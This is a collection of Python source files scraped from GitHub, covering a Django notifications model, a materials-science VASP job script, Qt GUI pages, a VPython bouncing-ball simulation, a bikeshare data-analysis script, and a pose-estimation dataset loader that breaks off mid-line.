+{"seq_id":"39532220313","text":"from django.db import models\nfrom cse312.users.models import User\nfrom cse312.message.models import ChatMessage\n\nclass Notifications(models.Model):\n user = models.ForeignKey(User, related_name=\"main_user\", null=True, on_delete=models.CASCADE)\n sender = models.ForeignKey(User, related_name=\"sending_user\", null=True, on_delete=models.CASCADE)\n message = models.ManyToManyField(ChatMessage)\n\n @classmethod\n def add(cls, user, sender, message):\n notifications, created = cls.objects.get_or_create(\n user = user,\n sender = sender\n )\n notifications.message.add(message)\n\n @classmethod\n def remove(cls, user, sender, message):\n notifications, created = cls.objects.get_or_create(\n user = user,\n sender = sender\n )\n notifications.delete()\n\n def get_count(self):\n return self.message.all().count()\n\n def get_message(self):\n if self.get_count() > 0:\n return self.message.all()[0]","repo_name":"lawzeem/CircleSocial","sub_path":"cse312/cse312/notifications/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"21664503172","text":"import os\nos.environ['PMG_VASP_PSP_DIR'] = 'D:\\\\Users\\\\RyanTrottier\\\\Documents\\\\Scrap\\\\PMG'\nos.environ['VASP_PSP_DIR'] = 'D:\\\\Users\\\\RyanTrottier\\\\Documents\\\\Scrap\\\\PMG'\nimport All_Materials\n# from All_Materials import done,csv_dict,mat_dict\nfrom ZachsMaterials import done, mat_dict\nfrom AddDB import load_db\nfrom Database_Tools import *\nfrom Classes_Pymatgen import *\nimport pymongo\nimport numpy as np\n\n#%%\nl = 7\nmatch_criteria = {\n # 'pathway_count': {'$exists' : False},\n # 'defect_type': {'$exists' : False},\n # 'ts_type': {'$exists' : False},\n 'labels' : {'$all' : ['unit_cell'],\n '$nin' : ['surface']}\n # 'poscar.structure.lattice.a': {'$lt': l},\n}\n\nfolder = 'D:\\\\Users\\\\RyanTrottier\\\\Documents\\\\Scrap\\\\lobsters'\n(db,fs,client) = load_db()\n\n# for material in csv_dict.materials.keys():\nfor material in mat_dict.keys():\n material = material.lower()\n# for material in ['bicoo3']:\n# match_criteria['material'] = {'$all': [material], '$nin' : ['from_zach']}\n match_criteria['material'] = {'$all': [material] + ['from_zach']}\n runs = list(db.database.find(match_criteria).sort('energy', pymongo.ASCENDING))\n\n if 'ICOHPLIST_lobster' in runs[0]:\n continue\n print(\"{}: {}\".format(material, len(runs)))\n if len(runs) > 0:\n [print(x['energy']) for x in runs]\n if len(runs) >= 1:\n run = runs[0]\n material_folder = os.path.join(folder, material)\n os.makedirs(material_folder, exist_ok=True)\n incar = Incar.from_dict(run['incar'])\n temp = get_file(fs, run['outcar'])\n magmom = [np.round(x['tot'],1) for x in Outcar(temp).magnetization]\n os.remove(temp)\n incar['MAGMOM'] = magmom\n incar['SYSTEM'] = material\n incar['KPAR'] = 3\n incar['NPAR'] = 3\n incar.write_file(os.path.join(material_folder, 'INCAR'))\n Kpoints.from_dict(run['kpoints']).write_file(os.path.join(material_folder, 'KPOINTS'))\n Poscar.from_dict(run['poscar']).write_file(os.path.join(material_folder, 'POSCAR'))\n Potcar(run['potcar']).write_file(os.path.join(material_folder, 'POTCAR'))\n with open(os.path.join(material_folder, 'DATABASE'), 'w') as f:\n f.write('''material {}\nrelaxation\nunit_cell'''.format(' '.join(run['material'])))","repo_name":"rtrottie/materials","sub_path":"make lobsters.py","file_name":"make lobsters.py","file_ext":"py","file_size_in_byte":2284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"4046910313","text":"import sys\nimport os\n\n\nfrom PySide2.QtWidgets import QApplication, QMainWindow, QDialog, QPushButton\nfrom PySide2.QtCore import QFile\nfrom PySide2.QtUiTools import QUiLoader\n\nclass DeviceSelector(QDialog):\n def __init__(self):\n super().__init__()\n self.ui = QUiLoader().load(\"deviceselector.ui\")\n self.ui.show()\n self.closebutton = self.ui.findChild(QPushButton, \"dialogCloseButton\")\n self.closebutton.clicked.connect(self.ui.close)\n\nclass TAPmain(QMainWindow):\n def __init__(self):\n super().__init__()\n self.ui = QUiLoader().load(\"form.ui\")\n self.ui.show()\n self.initSettingsButton()\n\n def initSettingsButton(self):\n self.button = self.ui.findChild(QPushButton, \"selectDevicesButton\")\n self.button.clicked.connect(self.openDeviceSelector)\n \n def openDeviceSelector(self):\n self.devselector = DeviceSelector()\n \nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n w = TAPmain()\n sys.exit(app.exec_())\n","repo_name":"juusolain/TimecodeAudioPlayer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"21531030682","text":"from PyQt5 import QtWidgets, QtCore, QtGui\nimport database as db\nimport css\n\n\nclass ProductListPage(QtWidgets.QWidget):\n def __init__(self):\n super().__init__()\n self.setWindowTitle(\"Product List\")\n self.resize(800, 600)\n\n self.logo = QtWidgets.QLabel(self)\n self.logo.setGeometry(QtCore.QRect(0, 0, 181, 111))\n self.logo.setPixmap(QtGui.QPixmap(\"./src/s_icon-nbg.png\"))\n self.logo.setObjectName(\"logo\")\n self.logo.mousePressEvent = lambda event: self.goToMainShop(\"CL00\")\n\n self.Header = QtWidgets.QLabel(self)\n self.Header.setGeometry(QtCore.QRect(240, 30, 481, 51))\n self.Header.setObjectName(\"Header\")\n self.Header.setAlignment(QtCore.Qt.AlignCenter)\n self.Header.setText(\"Welcome to Main Shop\")\n\n self.layout = QtWidgets.QVBoxLayout(self)\n\n self.tableWidget = QtWidgets.QTableWidget(self)\n self.tableWidget.setColumnCount(5)\n self.tableWidget.setHorizontalHeaderLabels([\"PRid\", \"Title\", \"Price\", \"Description\", \"Active\"])\n\n self.loadProducts()\n self.loadCSS()\n\n self.layout.addWidget(self.logo)\n self.layout.addWidget(self.Header)\n self.layout.addWidget(self.tableWidget)\n\n def loadCSS(self):\n style_sheet = f\"\"\"\n QLabel#Header{{\n {css.label_stylesheet_header}\n }}\n QPushButton{{\n {css.push_button_stylesheet_red_min}\n }}\n\n \"\"\"\n\n self.setStyleSheet(style_sheet)\n\n def loadProducts(self):\n products = db.showAllProduct()\n self.tableWidget.setRowCount(len(products))\n\n for row, product in enumerate(products):\n PRidItem = QtWidgets.QTableWidgetItem(str(product[0]))\n titleItem = QtWidgets.QTableWidgetItem(str(product[1]))\n price = \"{:,}\".format(int(product[2]))\n\n priceItem = QtWidgets.QTableWidgetItem(str(price))\n descriptionItem = QtWidgets.QTableWidgetItem(str(product[3]))\n activeItem = QtWidgets.QTableWidgetItem(str(product[4]))\n\n self.tableWidget.setItem(row, 0, PRidItem)\n self.tableWidget.setItem(row, 1, titleItem)\n self.tableWidget.setItem(row, 2, priceItem)\n self.tableWidget.setItem(row, 3, descriptionItem)\n self.tableWidget.setItem(row, 4, activeItem)\n\n if product[4] == \"1\":\n activeItem.setFlags(QtCore.Qt.ItemIsEnabled)\n else:\n button = QtWidgets.QPushButton(\"Activate\")\n button.clicked.connect(lambda _, PRid=str(product[0]): self.activeProduct(PRid))\n self.tableWidget.setCellWidget(row, 4, button)\n\n self.tableWidget.resizeColumnsToContents()\n\n def activeProduct(self, PRid):\n success = db.activeProduct(PRid)\n if success:\n QtWidgets.QMessageBox.information(self, \"Confirmation\", \"Product has been activated.\")\n self.loadProducts()\n else:\n QtWidgets.QMessageBox.warning(self, \"Error\", \"Failed to activate product.\")\n\n def goToMainShop(self, CLid):\n from mainShop import MainShop\n self.close()\n self.mainShop = MainShop(CLid)\n self.mainShop.show()\n\n\nif __name__ == \"__main__\":\n app = QtWidgets.QApplication([])\n product_list_page = ProductListPage()\n product_list_page.show()\n app.exec_()\n","repo_name":"MG-530/online_shop_PYQT","sub_path":"ProductListPage.py","file_name":"ProductListPage.py","file_ext":"py","file_size_in_byte":3440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"15070355464","text":"from vpython import *\n#GlowScript 3.1 VPython\n#create our sphere\nball = sphere(pos=vector(-5,0,0), radius=0.5, color=color.green, make_trail=True)\nball2 = sphere(pos=vector(5,0,0), radius=0.5, color=color.yellow, make_trail=True)\n#create our wall, there are nine colors red, green, blue, yellow, magenta,\n#cyan, orange, black, and white.\nwallR = box(pos=vector(6,0,0), size=vector(.5,12,12.5), color=color.blue)\nwallL = box(pos=vector(-6,0,0), size=vector(.5,12,12.5), color=color.blue)\nwallBK = box(pos=vector(0,0,-6), size=vector(12,12,.5), color=color.red)\nwallT = box(pos=vector(0,6,0), size=vector(12.5,.5,12.5), color=color.green)\nwallBT = box(pos=vector(0,-6,0), size=vector(12.5,.5,12.5), color=color.green)\n#give our ball velocity\nball.velocity = vector(25,10,-12)\nball2.velocity = vector(15,15,7)\n#our dt is showing how much we are changing\ndt = 0.005\n#time starts at 0\nt = 0\n#velocity arrow visual with scaler to make arrow correct size\nvscale = 0.1\nvarr = arrow(pos=ball.pos, axis=vscale*ball.velocity, color=color.yellow)\nvarr2 = arrow(pos=ball2.pos, axis=vscale*ball2.velocity, color=color.yellow)\n#we update position based on velocity and change\nscene.autoscale = True \nwhile t<1000000:\n rate(100)\n randnum = random()\n# controls right and left wall bounce\n if (ball.pos.x + .5) > (wallR.pos.x - .5):\n ball.velocity.x = -ball.velocity.x\n ball.color=color.cyan\n if (ball.pos.x - .5) < (wallL.pos.x + .5):\n ball.velocity.x = -ball.velocity.x\n ball.color=color.green\n \n\n if (ball2.pos.x + .5) > (wallR.pos.x - .5):\n ball2.velocity.x = -ball2.velocity.x\n ball2.color=color.red\n if (ball2.pos.x - .5) < (wallL.pos.x + .5):\n ball2.velocity.x = -ball2.velocity.x\n ball2.color=color.yellow\n# controls front and back wall bounce \n if (ball.pos.z - .5) < (wallBK.pos.z + .5):\n ball.velocity.z = -ball.velocity.z\n ball.color=color.orange\n if (ball.pos.z + .5) > (-wallBK.pos.z - .5):\n ball.velocity.z = -ball.velocity.z\n ball.color=color.yellow\n \n if (ball2.pos.z - .5) < (wallBK.pos.z + .5):\n ball2.velocity.z = -ball2.velocity.z\n ball.color=color.purple\n if (ball2.pos.z + .5) > (-wallBK.pos.z - .5):\n ball2.velocity.z = -ball2.velocity.z\n ball.color=color.white\n# controls top and bottom wall bounce\n if (ball.pos.y + .5) > (wallT.pos.y - .5):\n ball.velocity.y = -ball.velocity.y\n ball.color=color.green\n if (ball.pos.y - .5) < (wallL.pos.x + .5):\n ball.velocity.y = -ball.velocity.y\n ball.color=color.green\n \n if (ball2.pos.y + .5) > (wallT.pos.y - .5):\n ball2.velocity.y = -ball2.velocity.y\n ball2.color=color.black\n if (ball2.pos.y - .5) < (wallL.pos.x + .5):\n ball2.velocity.y = -ball2.velocity.y\n ball2.color=color.cyan\n# updating balls position and arrrow position\n ball.pos = ball.pos + ball.velocity*dt\n varr.pos=ball.pos\n varr.axis=ball.velocity*vscale\n \n ball2.pos = ball2.pos + ball2.velocity*dt\n varr2.pos=ball2.pos\n varr2.axis=ball2.velocity*vscale\n t = t + dt\n \n","repo_name":"edwardb1203/Vpythonprojects","sub_path":"edwardunc1_vectorballpaths.py","file_name":"edwardunc1_vectorballpaths.py","file_ext":"py","file_size_in_byte":3152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"21438553929","text":" #Importing time, pandas and numpy libraries\nimport time\nimport pandas as pd\nimport numpy as np\n\n #City data dictionary for user input\nCITY_DATA = { 'chicago': 'chicago.csv',\n 'new york city': 'new_york_city.csv',\n 'washington': 'washington.csv' }\n #month and days data set\nmonths = ['january', 'february', 'march', 'april', 'may', 'june','all']\ndays = ['sunday','monday','tuesday','wednesday','thursday','friday','saturday','all']\n\n #function for parsing filters\ndef get_filters():\n \"\"\"\n Requests user to specify a city, month, and day to analyze.\n\n Returns:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n \"\"\"\n print('Hello! Let\\'s explore some US bikeshare data!')\n # TO DO: get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs\n city = input(\"Enter the city :choices are {}\\n\".format(list(CITY_DATA.keys()))).lower()\n while city not in CITY_DATA:\n print(\"Invalid input\")\n city = input(\"Enter the city :choices are {}\\n\".format(list(CITY_DATA.keys()))).lower()\n continue\n\n # TO DO: get user input for month (all, january, february, ... , june)\n month = input(\"Enter month :choices are {}\\n\".format(months)).lower()\n while month not in months:\n print(\"Invalid input\")\n month = input(\"Enter the month :choices are {}\\n\".format(months)).lower()\n continue\n\n # TO DO: get user input for day of week (all, monday, tuesday, ... sunday)\n day = input(\"Enter the day :choices are {}\\n\".format(days)).lower()\n while day not in days:\n print(\"Invalid input\")\n day = input(\"Enter the day :choices are {}\\n\".format(days)).lower()\n continue\n\n print('-'*40)\n return city, month, day\n\n #Function definition for loading the data based on city, month and day\ndef load_data(city, month, day):\n \"\"\"\n Loads data for the specified city and filters by month and day if applicable.\n\n Args:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n Returns:\n df - Pandas DataFrame containing city data filtered by month and day\n \"\"\"\n # load data file into a dataframe\n df = pd.read_csv(CITY_DATA[city])\n\n # convert the Start Time column to datetime\n df['Start Time'] = pd.to_datetime(df['Start Time'])\n\n # extract month and day of week from Start Time to create new columns\n df['month'] = df['Start Time'].dt.month\n df['day'] = df['Start Time'].dt.weekday_name\n\n\n # filter by month if applicable\n if month != 'all':\n # use the index of the months list to get the corresponding int\n months = ['january', 'february', 'march', 'april', 'may', 'june']\n month = months.index(month)+1\n\n # filter by month to create the new dataframe\n df = df.loc[df['month'] == month]\n\n # filter by day of week if applicable\n if day != 'all':\n # filter by day of week to create the new dataframe\n df = df.loc[df['day'] == day.title()]\n\n return df\n\n #define function for time stats\ndef time_stats(df):\n \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n print('\\nCalculating The Most Frequent Times of Travel..........\\n')\n start_time = time.time()\n\n # TO DO: display the most common month\n common_month = df['month'].mode()[0]\n\n\n # TO DO: display the most common day of week\n common_day = df['day'].mode()[0]\n\n\n # TO DO: display the most common start hour\n df['hour'] = df['Start Time'].dt.hour\n common_start_hour = df['hour'].mode()[0]\n\n print(\"\\nThe common month, day and start hour respectively is \",common_month,common_day,common_start_hour)\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n #define function for station statistics\ndef station_stats(df):\n \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n\n print('\\nCalculating The Most Popular Stations and Trip...\\n')\n start_time = time.time()\n\n # TO DO: display most commonly used start station\n common_start_station = df['Start Station'].mode()[0]\n\n\n # TO DO: display most commonly used end station\n common_end_station = df['End Station'].mode()[0]\n\n\n # TO DO: display most frequent combination of start station and end station trip\n df['combined_station'] = df['Start Station'] + df['End Station']\n common_combined_station = df['combined_station'].mode()[0]\n\n print(\"\\nThe common start station is\", common_start_station)\n print(\"\\nThe common end station is\", common_end_station)\n print(\"\\nThe common combined station is\", common_combined_station)\n\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n #define function for statistics based on trip duration\ndef trip_duration_stats(df):\n \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n\n print('\\nCalculating Trip Duration...\\n')\n start_time = time.time()\n\n # TO DO: display total travel time\n total_travel_time = df['Trip Duration'].sum()\n\n\n # TO DO: display mean travel time\n mean_travel_time = df['Trip Duration'].mean()\n\n print('\\nThe total travel time is',total_travel_time)\n print('\\nThe mean travel time is',mean_travel_time)\n\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n #define function for user based statistics\ndef user_stats(df):\n \"\"\"Displays statistics on bikeshare users.\"\"\"\n\n print('\\nCalculating User Stats....\\n')\n start_time = time.time()\n\n # TO DO: Display counts of user types\n try:\n user_type = df['User Type'].value_counts()\n except KeyError:\n user_type = 'none (due to no data)'\n\n # TO DO: Display counts of gender\n try:\n gender_count = df['Gender'].value_counts()\n except KeyError:\n gender_count = 'none (due to no data)'\n\n\n # TO DO: Display earliest, most recent, and most common year of birth\n try:\n earliest_birth_year = df['Birth Year'].min()\n\n recent_birth_year = df['Birth Year'].max()\n\n common_birth_year = df['Birth Year'].mode()\n except KeyError:\n earliest_birth_year = 'none (due to no data)'\n recent_birth_year = 'none (due to no data)'\n common_birth_year = 'none (due to no data)'\n\n print('\\nThe user type is',user_type)\n print('\\nThe gender_count is',gender_count)\n print('\\nThe earliest birth year is',earliest_birth_year)\n print('\\nThe recent birth year is',recent_birth_year)\n print('\\nThe common birth year is',common_birth_year)\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n #define main function\ndef main():\n while True:\n city, month, day = get_filters()\n df = load_data(city, month, day)\n time_stats(df)\n station_stats(df)\n trip_duration_stats(df)\n user_stats(df)\n\n print('Hello! Let\\'s explore some US bikeshare raw data!')\n #To get inputs (yes/no) from the user to view 5 lines of raw data per every confirmation.\n #Initial value of 0 for printing raw data - per requirement\n\n a = 0;\n #User to enter a number for viewing raw data\n try:\n b = int(input('if you are given an option, how many lines of raw data do you prefer to view per request? Enter a number\\n'))\n except ValueError:\n b=5\n #to improve speed of the process - defaulting value to 5 per requirement\n print(\"Invalid input. Default value set to 5\")\n\n while True:\n sample_data = input(\"Do you want to view sample raw data for analysis? Enter yes or no.\\n\")\n if sample_data.lower() =='yes':\n print(df.iloc[a:b])\n a+=5\n b+=5\n else:\n break\n\n #Option to restart the program\n restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n if restart.lower() != 'yes':\n break\n\n\nif __name__ == \"__main__\":\n\tmain()\n","repo_name":"abhivasanth/bikeshare","sub_path":"bikeshare.py","file_name":"bikeshare.py","file_ext":"py","file_size_in_byte":8356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"9891790800","text":"#!/usr/bin/env python3\nimport os\nimport pickle\nimport json\n\nimport cv2\nimport torch\nimport os.path\nimport numpy as np\nimport torchvision.transforms as transforms\nfrom PIL import Image\nfrom common import Config\nimport pickle as pkl\nfrom utils.basic_utils import Basic_Utils\nimport scipy.io as scio\nimport scipy.misc\ntry:\n from neupeak.utils.webcv2 import imshow, waitKey\nexcept:\n from cv2 import imshow, waitKey\nimport normalSpeed\nfrom models.RandLA.helper_tool import DataProcessing as DP\n\n\nconfig = Config(ds_name='boplm')\nbs_utils = Basic_Utils(config)\n\n\nclass Dataset():\n\n def __init__(self, dataset_name, DEBUG=False):\n self.dataset_name = dataset_name\n self.root = config.boplm_root\n self.debug = DEBUG\n self.xmap = np.array([[j for i in range(640)] for j in range(480)])\n self.ymap = np.array([[i for i in range(640)] for j in range(480)])\n self.diameters = {}\n self.trancolor = transforms.ColorJitter(0.2, 0.2, 0.2, 0.05)\n self.norm = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.224])\n self.cls_lst = bs_utils.read_lines(config.boplm_cls_lst_p)\n self.obj_dict = {}\n self.normals = []\n\n for cls_id, cls in enumerate(self.cls_lst, start=1):\n self.obj_dict[cls] = cls_id\n cls_normal_p = os.path.join(self.root, 'symmetries/{}/symmetries.txt'.format(cls_id))\n normal = self.read_normal(cls_normal_p)\n self.normals.append(normal)\n self.rng = np.random\n\n cache_dir = os.path.join(config.boplm_root, 'cache')\n if not os.path.exists(cache_dir):\n os.makedirs(cache_dir)\n self.cache_dir = cache_dir\n\n if dataset_name == 'train':\n self.add_noise = True\n self.all_lst = self.load_train_image_set()\n self.minibatch_per_epoch = len(self.all_lst) // config.mini_batch_size\n elif dataset_name == 'test' or dataset_name == 'trainval':\n self.add_noise = False\n self.all_lst = self.load_test_image_set()\n else:\n raise NotImplementedError\n print(\"{}_dataset_size: \".format(dataset_name), len(self.all_lst))\n self.sym_cls_ids = [3, 10, 11]\n\n def load_train_image_set(self):\n cache_file = os.path.join(self.cache_dir, 'train_data_collection.pkl')\n if os.path.exists(cache_file):\n with open(cache_file, 'rb') as fid:\n image_index = pickle.load(fid)\n print('train_pbr image index loaded from {}'.format(cache_file))\n print('{} training images'.format(len(image_index)))\n return image_index\n\n annot = []\n for seq_id in range(50):\n tr_obj_dir = os.path.join(self.root, 'train_pbr/{:06d}'.format(seq_id))\n f_pose = os.path.join(tr_obj_dir, 'scene_gt.json')\n f_det = os.path.join(tr_obj_dir, 'scene_gt_info.json')\n f_cam = os.path.join(tr_obj_dir, 'scene_camera.json')\n with open(f_pose, 'r') as f:\n annot_pose = json.load(f)\n with open(f_det, 'r') as f:\n annot_det = json.load(f)\n with open(f_cam, 'r') as f:\n annot_cam = json.load(f)\n for k in annot_pose.keys():\n annot_temp = {}\n annot_temp['rgb_pth'] = os.path.join('train_pbr/{:06d}'.format(seq_id), 'rgb/{:06d}.jpg'.format(int(k)))\n annot_temp['dpt_pth'] = os.path.join('train_pbr/{:06d}'.format(seq_id), 'depth/{:06d}.png'.format(int(k)))\n annot_temp['factor_depth'] = np.array(annot_cam[k]['depth_scale'], dtype=np.float32)\n annot_temp['intrinsic_matrix'] = np.array(annot_cam[k]['cam_K'], dtype=np.float32).reshape(3, 3)\n\n cls_indexes = []\n poses = []\n msk_orders = []\n for j in range(len(annot_pose[k])):\n obj_id = annot_pose[k][j]['obj_id']\n visib_fract = annot_det[k][j]['visib_fract']\n if (obj_id not in self.obj_dict.values()) or (visib_fract < 0.1):\n continue\n R = np.array(annot_pose[k][j]['cam_R_m2c'], dtype=np.float32).reshape(3, 3)\n T = np.array(annot_pose[k][j]['cam_t_m2c'], dtype=np.float32) / 1000.\n RT = np.concatenate([R, T[:, None]], axis=1)\n poses.append(RT)\n\n cls_indexes.append(obj_id)\n msk_orders.append(j)\n\n annot_temp['msk_orders'] = msk_orders\n annot_temp['cls_indexes'] = cls_indexes\n annot_temp['poses'] = np.array(poses)\n annot_temp['seq_id'] = int(seq_id)\n annot_temp['img_id'] = int(k)\n annot.append(annot_temp)\n\n with open(cache_file, 'wb') as fid:\n pickle.dump(annot, fid, pickle.HIGHEST_PROTOCOL)\n print('wrote train_pbr image index to {}'.format(cache_file))\n return annot\n\n def load_test_image_set(self):\n cache_file = os.path.join(self.cache_dir, 'test_data_collection.pkl')\n if os.path.exists(cache_file):\n with open(cache_file, 'rb') as fid:\n image_index = pickle.load(fid)\n print('testocc image index loaded from {}'.format(cache_file))\n print('{} test images'.format(len(image_index)))\n return image_index\n\n annot = []\n for seq_id in [2]:\n tr_obj_dir = os.path.join(self.root, 'test/{:06d}'.format(seq_id))\n f_pose = os.path.join(tr_obj_dir, 'scene_gt.json')\n f_det = os.path.join(tr_obj_dir, 'scene_gt_info.json')\n f_cam = os.path.join(tr_obj_dir, 'scene_camera.json')\n with open(f_pose, 'r') as f:\n annot_pose = json.load(f)\n with open(f_det, 'r') as f:\n annot_det = json.load(f)\n with open(f_cam, 'r') as f:\n annot_cam = json.load(f)\n for k in annot_pose.keys():\n annot_temp = {}\n annot_temp['rgb_pth'] = os.path.join('test/{:06d}'.format(seq_id), 'rgb/{:06d}.png'.format(int(k)))\n annot_temp['dpt_pth'] = os.path.join('test/{:06d}'.format(seq_id), 'depth/{:06d}.png'.format(int(k)))\n annot_temp['factor_depth'] = np.array(annot_cam[k]['depth_scale'], dtype=np.float32)\n annot_temp['intrinsic_matrix'] = np.array(annot_cam[k]['cam_K'], dtype=np.float32).reshape(3, 3)\n\n cls_indexes = []\n poses = []\n msk_orders = []\n for j in range(len(annot_pose[k])):\n R = np.array(annot_pose[k][j]['cam_R_m2c'], dtype=np.float32).reshape(3, 3)\n T = np.array(annot_pose[k][j]['cam_t_m2c'], dtype=np.float32) / 1000.\n RT = np.concatenate([R, T[:, None]], axis=1)\n poses.append(RT)\n\n obj_id = annot_pose[k][j]['obj_id']\n cls_indexes.append(obj_id)\n msk_orders.append(j)\n\n annot_temp['msk_orders'] = msk_orders\n annot_temp['cls_indexes'] = cls_indexes\n annot_temp['poses'] = np.array(poses)\n annot_temp['seq_id'] = int(seq_id)\n annot_temp['img_id'] = int(k)\n\n annot.append(annot_temp)\n\n with open(cache_file, 'wb') as fid:\n pickle.dump(annot, fid, pickle.HIGHEST_PROTOCOL)\n print('wrote test image index to {}'.format(cache_file))\n return annot\n\n def read_normal(self, filename):\n with open(filename) as f:\n lines = f.readlines()\n normal = np.array(lines[3].strip().split(), dtype=np.float32)\n return normal\n\n def syn_gen(self):\n n = len(self.all_lst)\n idx = self.rng.randint(0, n)\n item = self.all_lst[idx]\n return item\n\n def real_gen(self):\n n = len(self.real_lst)\n idx = self.rng.randint(0, n)\n item = self.real_lst[idx]\n return item\n\n def rand_range(self, rng, lo, hi):\n return rng.rand()*(hi-lo)+lo\n\n def gaussian_noise(self, rng, img, sigma):\n \"\"\"add gaussian noise of given sigma to image\"\"\"\n img = img + rng.randn(*img.shape) * sigma\n img = np.clip(img, 0, 255).astype('uint8')\n return img\n\n def linear_motion_blur(self, img, angle, length):\n \"\"\":param angle: in degree\"\"\"\n rad = np.deg2rad(angle)\n dx = np.cos(rad)\n dy = np.sin(rad)\n a = int(max(list(map(abs, (dx, dy)))) * length * 2)\n if a <= 0:\n return img\n kern = np.zeros((a, a))\n cx, cy = a // 2, a // 2\n dx, dy = list(map(int, (dx * length + cx, dy * length + cy)))\n cv2.line(kern, (cx, cy), (dx, dy), 1.0)\n s = kern.sum()\n if s == 0:\n kern[cx, cy] = 1.0\n else:\n kern /= s\n return cv2.filter2D(img, -1, kern)\n\n def rgb_add_noise(self, img):\n rng = self.rng\n # apply HSV augmentor\n if rng.rand() > 0:\n hsv_img = cv2.cvtColor(img, cv2.COLOR_BGR2HSV).astype(np.uint16)\n hsv_img[:, :, 1] = hsv_img[:, :, 1] * self.rand_range(rng, 1.25, 1.45)\n hsv_img[:, :, 2] = hsv_img[:, :, 2] * self.rand_range(rng, 1.15, 1.35)\n hsv_img[:, :, 1] = np.clip(hsv_img[:, :, 1], 0, 255)\n hsv_img[:, :, 2] = np.clip(hsv_img[:, :, 2], 0, 255)\n img = cv2.cvtColor(hsv_img.astype(np.uint8), cv2.COLOR_HSV2BGR)\n\n if rng.rand() > .8: # sharpen\n kernel = -np.ones((3, 3))\n kernel[1, 1] = rng.rand() * 3 + 9\n kernel /= kernel.sum()\n img = cv2.filter2D(img, -1, kernel)\n\n if rng.rand() > 0.8: # motion blur\n r_angle = int(rng.rand() * 360)\n r_len = int(rng.rand() * 15) + 1\n img = self.linear_motion_blur(img, r_angle, r_len)\n\n if rng.rand() > 0.8:\n if rng.rand() > 0.2:\n img = cv2.GaussianBlur(img, (3, 3), rng.rand())\n else:\n img = cv2.GaussianBlur(img, (5, 5), rng.rand())\n\n if rng.rand() > 0.2:\n img = self.gaussian_noise(rng, img, rng.randint(15))\n else:\n img = self.gaussian_noise(rng, img, rng.randint(25))\n\n if rng.rand() > 0.8:\n img = img + np.random.normal(loc=0.0, scale=7.0, size=img.shape)\n\n return np.clip(img, 0, 255).astype(np.uint8)\n\n def dpt_2_pcld(self, dpt, cam_scale, K):\n if len(dpt.shape) > 2:\n dpt = dpt[:, :, 0]\n dpt = dpt.astype(np.float32) / cam_scale\n msk = (dpt > 1e-8).astype(np.float32)\n row = (self.ymap - K[0][2]) * dpt / K[0][0]\n col = (self.xmap - K[1][2]) * dpt / K[1][1]\n dpt_3d = np.concatenate(\n (row[..., None], col[..., None], dpt[..., None]), axis=2\n )\n dpt_3d = dpt_3d * msk[:, :, None]\n return dpt_3d\n\n def generate_labels(self, item):\n mask = np.zeros((480, 640), dtype=np.uint8)\n cls_indexes = item['cls_indexes']\n msk_orders = item['msk_orders']\n for i in range(len(cls_indexes)):\n obj_id = cls_indexes[i]\n if self.dataset_name == 'train':\n msk_vis_pth = os.path.join(\n self.root, 'train_pbr/{:06d}/mask_visib/{:06d}_{:06d}.png'.format(item['seq_id'], item['img_id'], msk_orders[i]))\n else:\n msk_vis_pth = os.path.join(\n self.root, 'test/{:06d}/mask_visib/{:06d}_{:06d}.png'.format(item['seq_id'], item['img_id'], msk_orders[i]))\n with Image.open(msk_vis_pth) as li:\n labels = np.array(li)\n mask[labels!=0] = obj_id\n\n return mask\n\n def generate_sym_cor(self, item):\n if self.dataset_name == 'train':\n sym_cor = np.load(\n os.path.join(self.root, 'train_pbr/{:06d}/sym_cor/{:06d}.npz'.format(item['seq_id'], item['img_id']))\n )['cor']\n else:\n sym_cor = np.load(\n os.path.join(self.root, 'test/{:06d}/sym_cor/{:06d}.npz'.format(item['seq_id'], item['img_id']))\n )['cor']\n return sym_cor\n\n def get_item(self, item):\n with Image.open(os.path.join(self.root, item['rgb_pth'])) as ri:\n if self.add_noise:\n ri = self.trancolor(ri)\n rgb = np.array(ri)[:, :, :3]\n with Image.open(os.path.join(self.root, item['dpt_pth'])) as di:\n dpt_um = np.array(di)\n\n labels = self.generate_labels(item)\n rgb_labels = labels.copy()\n\n K = item['intrinsic_matrix']\n sym_cor = self.generate_sym_cor(item)\n cam_scale = item['factor_depth']\n\n if self.add_noise:\n rgb = self.rgb_add_noise(rgb)\n\n msk_dp = dpt_um > 1e-6\n dpt_mm = (dpt_um.copy() * cam_scale).astype(np.uint16)\n nrm_map = normalSpeed.depth_normal(\n dpt_mm, K[0][0], K[1][1], 5, 2000, 20, False\n )\n if self.debug:\n show_nrm_map = ((nrm_map + 1.0) * 127).astype(np.uint8)\n imshow(\"nrm_map\", show_nrm_map)\n imshow('mask', rgb_labels)\n print('sym_cor:', sym_cor.shape)\n\n dpt_m = dpt_mm.astype(np.float32) / 